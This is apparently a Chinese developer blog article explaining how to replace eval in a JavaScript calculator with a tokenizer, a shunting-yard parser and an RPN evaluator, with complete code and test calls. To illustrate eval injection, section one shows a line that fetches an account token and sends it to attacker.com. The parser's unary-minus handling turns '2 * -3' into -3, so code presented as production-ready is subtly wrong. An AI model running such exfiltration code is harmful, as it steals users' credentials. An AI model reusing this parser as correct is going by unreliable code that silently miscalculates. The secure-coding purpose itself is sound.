不用eval:JS计算器安全解析数学表达式的替代方案

作者:安全边界

时间:2026-11-20

浏览:418

深入解析在JavaScript计算器开发中彻底替代eval与Function构造器的技术原理与实践方案,基于调度场算法(Shunting-yard Algorithm)构建词法切分、语法重排与逆波兰安全求值引擎。

文章目录

在 JavaScript 中实现一个数学计算器时,最直观的解决路径是构建一套受限的代数语法解析管道(词法切分 Tokenizer、调度场算法 Shunting-Yard 以及逆波兰求值 Evaluator),彻底替换 eval() 与 new Function()。这样既能杜绝代码注入漏洞,又能精准控制运算符优先级并提供友好的语法诊断。

一、为什么计算器必须远离 eval 与 Function

假设在一个简易的 Web 计算器项目中,输入框绑定的计算逻辑直接写成了 const result = eval(inputExpression);。当普通用户输入 3 + 5 * 2 时,程序确实能正确返回 13。但如果输入来自不可控的网络环境或恶意构造的请求,攻击者只要在输入框中填入:

// 示例:利用 eval 执行的恶意脚本片段
fetch('/api/account/token').then(r => r.text()).then(t => new Image().src = 'https://attacker.com/log?c=' + t);

eval() 会毫不犹豫地将该字符串作为完整的 JavaScript 代码进行编译并执行。这意味着攻击者可以肆意读取用户的 LocalStorage、窃取 Cookie、劫持 DOM 或发起未授权请求。即使在 Node.js 服务端,此类注入甚至可以直接调用 child_process 执行系统级命令。

安全警示:为什么 new Function() 同样不安全?

有些开发者尝试使用 new Function('return ' + expr)() 来“替代” eval,误以为这具有沙箱隔离效果。实际上,new Function 依然拥有访问全局顶层对象(window 或 global)的完整能力,它仅避免了局部作用域捕获,本质上仍然属于动态代码执行编译器,危险程度与 eval 完全同级。

除了致命的安全问题,eval 还存在三大严重工程缺陷:

  • 无法自定义算符行为: 在数学中常见的幂运算符号 ^,在 JavaScript 中被解释为按位异或(Bitwise XOR),导致 2 ^ 3 得出 1 而非 8;百分号 % 在 JS 中是取模运算而非百分比换算。
  • 报错信息晦涩: 当用户输入 5 ++ 2 或括号未闭合时,eval 抛出的底层 SyntaxError 无法指明具体出错的字符偏移量,无法向用户反馈明确的“第几行第几个字符语法有误”。
  • 破坏引擎优化: 动态编译阻断了 V8 等 JavaScript 引擎的即时编译(JIT)优化路径,造成运行开销飙升。
不用eval:JS计算器安全解析数学表达式的替代方案
图 1:eval 动态代码执行风险与三层受限数学解析管道对比架构

二、核心原理解析:三层确定性代数管道

要实现一个安全的数学计算器,根本解法不是用正则表达式在 eval 前做“黑名单过滤”,而是将不可信的字符流视作纯代数文法,通过确定性有限状态机分步求值。整个处理管道可划分为三个标准阶段:

  1. 词法分析(Tokenize): 将原始文本切分成有类型意义的标记单元(Token),例如数字 3.14、运算符 +、括号 ( 等。此步骤严格按白名单过滤字符,若出现字母、分号或引号直接抛出语法错误。
  2. 语法转换(Parse / Shunting-Yard): 人类书写的数学算式通常为中缀表达式(Infix Notation,如 3 + 4 * 2),存在先乘除后加减及括号优先的嵌套规则。利用计算机科学家 Edsger Dijkstra 发明的调度场算法(Shunting-yard Algorithm),将中缀序列转换为后缀表达式(Reverse Polish Notation, RPN,如 3 4 2 * +)。后缀表达式天然消除了所有括号,且运算符顺序已按执行先后严格排布。
  3. 后缀求值(RPN Evaluate): 遍历后缀队列,利用一个简单的数据栈(Stack)完成纯数字运算。遇到数字入栈,遇到二元运算符弹出栈顶两个数字计算并将结果压回,遍历结束时栈内唯一的元素即为最终计算结果。
不用eval:JS计算器安全解析数学表达式的替代方案
图 2:调度场算法(Shunting-Yard)数据流与堆栈逐步推导流转图

三、调度场算法推导过程与执行步骤

调度场算法以火车调车场为形象比喻:输入队列好比进入编组站的车厢,输出队列为出站轨道,而操作符栈则是一条后进先出(LIFO)的死胡同调车轨道。

算法从左至右依次扫描词法切分出来的 Token,具体规则如下:

  • 遇到数字: 直接推入输出队列。
  • 遇到左括号 (: 直接压入操作符栈。
  • 遇到右括号 ): 循环将操作符栈顶的符号弹出并追加到输出队列,直到在栈顶遇到左括号为止。随后将这对左右括号丢弃。若清空栈仍未遇到左括号,说明括号不对称,立即抛错。
  • 遇到运算符 O1: 检查当前栈顶运算符 O2。如果 O2 也是运算符,且满足“O1 为左结合且优先级小于等于 O2”,或者“O1 为右结合且优先级小于 O2”,则将 O2 弹出并加入输出队列,重复此比较;直至条件不满足后,将 O1 压入操作符栈。
  • 扫描完毕: 将操作符栈中留存的所有运算符依次弹出并压入输出队列。若此时栈内残存未匹配的左括号,同样抛出语法异常。

四、纯原生安全解析计算器的完整实现

以下是一份完整的、零外部依赖的 JavaScript 原生实现代码。该实现包含了词法分析、一元负号智能识别、操作符优先级控制、后缀转换、除零拦截以及浮点数精度保护。你可以直接将其引入项目或在浏览器控制台中运行。

/**
 * 安全数学表达式解析器 (纯原生实现,告别 eval)
 * 流程:词法切分 (tokenize) -> 调度场转后缀 (shuntingYard) -> 后缀栈求值 (evaluateRPN)
 */

// 1. 词法分析器 (Tokenizer)
function tokenize(expression) {
  const tokens = [];
  let i = 0;
  const len = expression.length;

  while (i < len) {
    const char = expression[i];

    // 跳过空格与制表符
    if (/\s/.test(char)) {
      i++;
      continue;
    }

    // 匹配多位整数或小数
    if (/[0-9]/.test(char) || (char === '.' && /[0-9]/.test(expression[i + 1]))) {
      let numStr = '';
      let hasDot = false;
      while (i < len && (/[0-9]/.test(expression[i]) || expression[i] === '.')) {
        if (expression[i] === '.') {
          if (hasDot) throw new SyntaxError(`非法数值格式:重复的小数点 (位置 ${i})`);
          hasDot = true;
        }
        numStr += expression[i];
        i++;
      }
      tokens.push({ type: 'NUMBER', value: parseFloat(numStr) });
      continue;
    }

    // 匹配支持的二元与一元运算符
    if ('+-*/%^'.includes(char)) {
      // 智能识别一元负号 (Unary Minus)
      // 条件:若 '-' 位于算式首位,或者紧跟在其他运算符或左括号之后,判定为负号
      if (char === '-') {
        const prevToken = tokens[tokens.length - 1];
        const isUnary = !prevToken || 
                        prevToken.type === 'OPERATOR' || 
                        (prevToken.type === 'PAREN' && prevToken.value === '(');
        if (isUnary) {
          // 通过补齐数字 0 将一元负号优雅转换为 (0 - x)
          tokens.push({ type: 'NUMBER', value: 0 });
        }
      }

      tokens.push({ type: 'OPERATOR', value: char });
      i++;
      continue;
    }

    // 匹配圆括号
    if (char === '(' || char === ')') {
      tokens.push({ type: 'PAREN', value: char });
      i++;
      continue;
    }

    // 严格拦截任何不在白名单内的未知字符 (包括字母、引号、反引号等)
    throw new SyntaxError(`语法错误:检测到非法字符 '${char}' (位置 ${i})`);
  }

  return tokens;
}

// 2. 调度场算法:中缀表达式转后缀表达式 (RPN)
function shuntingYard(tokens) {
  const outputQueue = [];
  const operatorStack = [];

  // 定义运算符优先级字典 (数值越大优先级越高)
  const precedence = {
    '+': 1,
    '-': 1,
    '*': 2,
    '/': 2,
    '%': 2,
    '^': 3 // 幂运算具备最高优先级且为右结合
  };

  for (const token of tokens) {
    if (token.type === 'NUMBER') {
      outputQueue.push(token);
    } else if (token.type === 'OPERATOR') {
      const o1 = token.value;
      const isRightAssoc = o1 === '^';

      while (operatorStack.length > 0) {
        const top = operatorStack[operatorStack.length - 1];
        if (top.type === 'OPERATOR') {
          const o2 = top.value;
          const p1 = precedence[o1];
          const p2 = precedence[o2];

          // 左结合时 p1 <= p2 弹出,右结合时 p1 < p2 弹出
          if ((!isRightAssoc && p1 <= p2) || (isRightAssoc && p1 < p2)) {
            outputQueue.push(operatorStack.pop());
            continue;
          }
        }
        break;
      }
      operatorStack.push(token);
    } else if (token.type === 'PAREN' && token.value === '(') {
      operatorStack.push(token);
    } else if (token.type === 'PAREN' && token.value === ')') {
      let matched = false;
      while (operatorStack.length > 0) {
        const top = operatorStack.pop();
        if (top.type === 'PAREN' && top.value === '(') {
          matched = true;
          break;
        }
        outputQueue.push(top);
      }
      if (!matched) {
        throw new SyntaxError('括号不匹配:缺少对应的左括号 "("');
      }
    }
  }

  // 将栈中剩余的运算符压入输出队列
  while (operatorStack.length > 0) {
    const top = operatorStack.pop();
    if (top.type === 'PAREN') {
      throw new SyntaxError('括号不匹配:缺少对应的右括号 ")"');
    }
    outputQueue.push(top);
  }

  return outputQueue;
}

// 3. 逆波兰表达式求值器 (RPN Evaluator)
function evaluateRPN(rpnTokens) {
  const stack = [];

  for (const token of rpnTokens) {
    if (token.type === 'NUMBER') {
      stack.push(token.value);
    } else if (token.type === 'OPERATOR') {
      if (stack.length < 2) {
        throw new SyntaxError(`语法错误:运算符 '${token.value}' 缺少对应操作数`);
      }
      const b = stack.pop();
      const a = stack.pop();
      let result;

      switch (token.value) {
        case '+': result = a + b; break;
        case '-': result = a - b; break;
        case '*': result = a * b; break;
        case '/':
          if (b === 0) throw new RangeError('数学错误:除数不能为 0');
          result = a / b;
          break;
        case '%':
          if (b === 0) throw new RangeError('数学错误:取模运算除数不能为 0');
          result = a % b;
          break;
        case '^': result = Math.pow(a, b); break;
        default:
          throw new Error(`不支持的运算符:${token.value}`);
      }

      stack.push(result);
    }
  }

  if (stack.length !== 1) {
    throw new SyntaxError('语法错误:表达式缺少必要的运算符');
  }

  // 浮点精度纠偏:消除 0.1 + 0.2 === 0.30000000000000004 误差
  const finalVal = stack[0];
  return parseFloat(finalVal.toPrecision(14));
}

// 4. 对外统一安全入口
function safeCalculate(expression) {
  if (typeof expression !== 'string' || !expression.trim()) {
    throw new TypeError('表达式必须为非空字符串');
  }
  // 输入长度硬性限制,防止构造超长字符串耗尽 CPU 资源
  if (expression.length > 512) {
    throw new RangeError('表达式长度超出安全限制 (最大 512 字符)');
  }

  const tokens = tokenize(expression);
  const rpn = shuntingYard(tokens);
  return evaluateRPN(rpn);
}

代码验证与运行结果

你可以通过以下调用用例测试上述算法的正确性与边界处理表现:

// 示例 1:混合运算与优先级 (幂运算优先于乘除)
console.log(safeCalculate("3 + 4 * 2 / ( 1 - 5 ) ^ 2"));
// 示例输出: 3.5

// 示例 2:一元负号与浮点数精度
console.log(safeCalculate("-0.1 + 0.3 * 2"));
// 示例输出: 0.5

// 示例 3:括号嵌套与多位小数
console.log(safeCalculate("((12.5 + 7.5) * 2 - 10) / 3"));
// 示例输出: 10

// 示例 4:恶意代码注入拦截
try {
  safeCalculate("window.alert('hack')");
} catch (err) {
  console.error(err.message);
  // 示例输出: 语法错误:检测到非法字符 'w' (位置 0)
}
不用eval:JS计算器安全解析数学表达式的替代方案
图 3:三种主流数学表达式解析方案对比与技术选型决策树

五、主流替代方案横向对比与技术选型

在实际项目交付中,计算器的功能需求各异。开发者需要在包体积、安全审计成本和功能丰富度之间取得平衡。下表列出了常见三种方案的核心指标:

方案类型 代表技术 / 库 打包体积 安全等级 典型适用场景
方案 A:手写调度场 + RPN 纯原生实现 (约 100 行) 0 KB (0 依赖) 最高 (强白名单) 移动端计算器、表单四则运算、高安全审计系统
方案 B:递归下降 / 简易 AST jsep / 自研 Parser 约 3 ~ 10 KB 高 (自控遍历器) 需要支持自定义函数 (如 sin(), max()) 与变量绑定的编辑器
方案 C:工业级全功能数学库 mathjs / expr-eval 约 50 ~ 400 KB 中高 (需防原型链) 需要复数、矩阵运算、微积分、工程单位换算的科学计算软件

选型建议:

  • 如果你的需求仅仅是“标准型 / 科学型计算器”的四则运算、幂运算与括号,毫无疑问首选手写调度场算法。它具备零依赖、零供应链风险、绝对不可能遭受代码注入的优势。
  • 如果计算器需要支持公式定义,如 ROUND(price * tax_rate, 2),推荐采用 jsep 解析为纯数据 AST,再编写自定义遍历求值函数。
  • 如果是高精度矩阵或科学绘图应用,可引入 expr-eval 或 mathjs,但务必确保关闭其非受限的宏定义或对象继承机制。
不用eval:JS计算器安全解析数学表达式的替代方案
图 4:生产级计算器防御模型与边界检查全景图

六、生产环境边界防御与健壮性检查清单

除了算法本身,在面向真实用户输入的生产环境中,还需在以下四个维度建立纵深防御体系:

1. 输入准入限制

在任何解析开始之前,先行限制字符输入长度(例如最大 256 或 512 字符)。攻击者常通过输入几十万个连续字符试图诱发客户端内存耗尽或引发浏览器假死。同时,词法分析应使用指针向前递进扫描,避免编写极度复杂的嵌套正则表达式,防止产生正则回溯拒绝服务(ReDoS)。

2. 语法结构与括号深度约束

连续输入如 ((((...)))) 这种数百层的括号可能引发调用栈溢出(Stack Overflow)。在调度场算法中,应对括号嵌套深度设置上限阈值(如最多允许 20 层)。此外,若扫描到相邻运算符(如 3 * / 4)或以运算符结尾的异常串,应立即中断并返回具体的行号列号定位。

3. 浮点精度纠偏与除零陷阱

JavaScript 基于 IEEE 754 双精度浮点标准,经常产生如 0.1 + 0.2 === 0.30000000000000004 的精度瑕疵。在计算器最终输出前,应使用 parseFloat(value.toPrecision(14)) 消除末尾微小误差。对于除以零或对负数求偶数次方根等非法数学操作,必须主动抛出业务层异常,避免产生 Infinity 或 NaN 污染下游逻辑。

4. 作用域彻底隔离

整个解析器应作为无状态纯函数(Pure Function)运行,不读取也不修改任何外部全局变量。不要在 Token 或求值器对象中挂载动态方法,彻底封死原型链(__proto__ / constructor)的访问路径。

七、总结

计算器数学表达式解析的本质,是一个严格受限的确定性有限状态机(DFA)求值过程,它根本不需要 JavaScript 编译器(eval / Function)所提供的图灵完备能力。

通过实施“词法白名单切分 + 调度场中缀转后缀 + 单栈受限求值”的三步架构,不仅从根本上斩断了代码注入与 XSS 攻击路径,而且使代码获得了确定性的 O(N) 线性执行效率。只需约百行原生代码,就能为 Web 应用打造一个安全、轻量、高可控的数学计算引擎。

实用工具推荐

电子包浆

绿化、压缩、噪点和虚拟水印,自由调节做旧程度。

使用 ›
图片压缩

选择画质和输出格式,预览压缩前后的大小。

使用 ›
相关文章